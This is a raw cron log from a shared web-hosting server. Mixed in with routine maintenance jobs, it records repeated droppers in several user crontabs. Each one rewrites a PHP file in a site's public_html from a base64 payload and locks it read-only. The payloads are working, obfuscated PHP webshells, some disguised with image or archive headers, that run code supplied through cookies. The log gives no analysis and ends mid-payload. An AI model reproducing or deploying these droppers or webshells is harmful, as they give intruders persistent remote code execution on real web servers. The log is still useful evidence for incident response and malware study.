Mar  2 11:43:02 medusa CROND[25964]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  2 11:44:01 medusa CROND[13551]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 11:44:01 medusa CROND[13627]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 11:44:01 medusa CROND[13629]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 11:44:01 medusa CROND[13631]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:44:01 medusa CROND[13630]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 11:44:01 medusa CROND[13633]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:44:01 medusa CROND[13634]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 11:44:01 medusa CROND[13635]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:44:01 medusa CROND[13637]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 11:44:01 medusa CROND[13640]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:44:01 medusa CROND[13642]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 11:44:01 medusa CROND[13646]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 11:44:01 medusa CROND[13650]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 11:45:01 medusa CROND[30636]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 11:45:01 medusa CROND[30678]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 11:45:01 medusa CROND[30916]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  2 11:45:01 medusa CROND[30917]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 11:45:01 medusa CROND[30918]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 11:45:01 medusa CROND[30920]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 11:45:01 medusa CROND[30927]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 11:45:01 medusa CROND[30928]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 11:45:01 medusa CROND[30921]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 11:45:01 medusa CROND[30929]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 11:45:01 medusa CROND[30933]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:45:01 medusa CROND[30924]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 11:45:01 medusa CROND[30926]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 11:45:01 medusa CROND[30935]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:45:01 medusa CROND[30931]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 11:45:01 medusa CROND[30946]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 11:45:01 medusa CROND[30922]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 11:45:01 medusa CROND[30950]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 11:45:01 medusa CROND[30954]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 11:45:01 medusa CROND[30949]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 11:45:01 medusa CROND[30962]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:45:01 medusa CROND[30968]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 11:45:01 medusa CROND[30969]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:46:01 medusa CROND[16325]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 11:46:02 medusa CROND[16574]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 11:46:02 medusa CROND[16576]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 11:46:02 medusa CROND[16578]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 11:46:02 medusa CROND[16582]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 11:46:02 medusa CROND[16583]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICov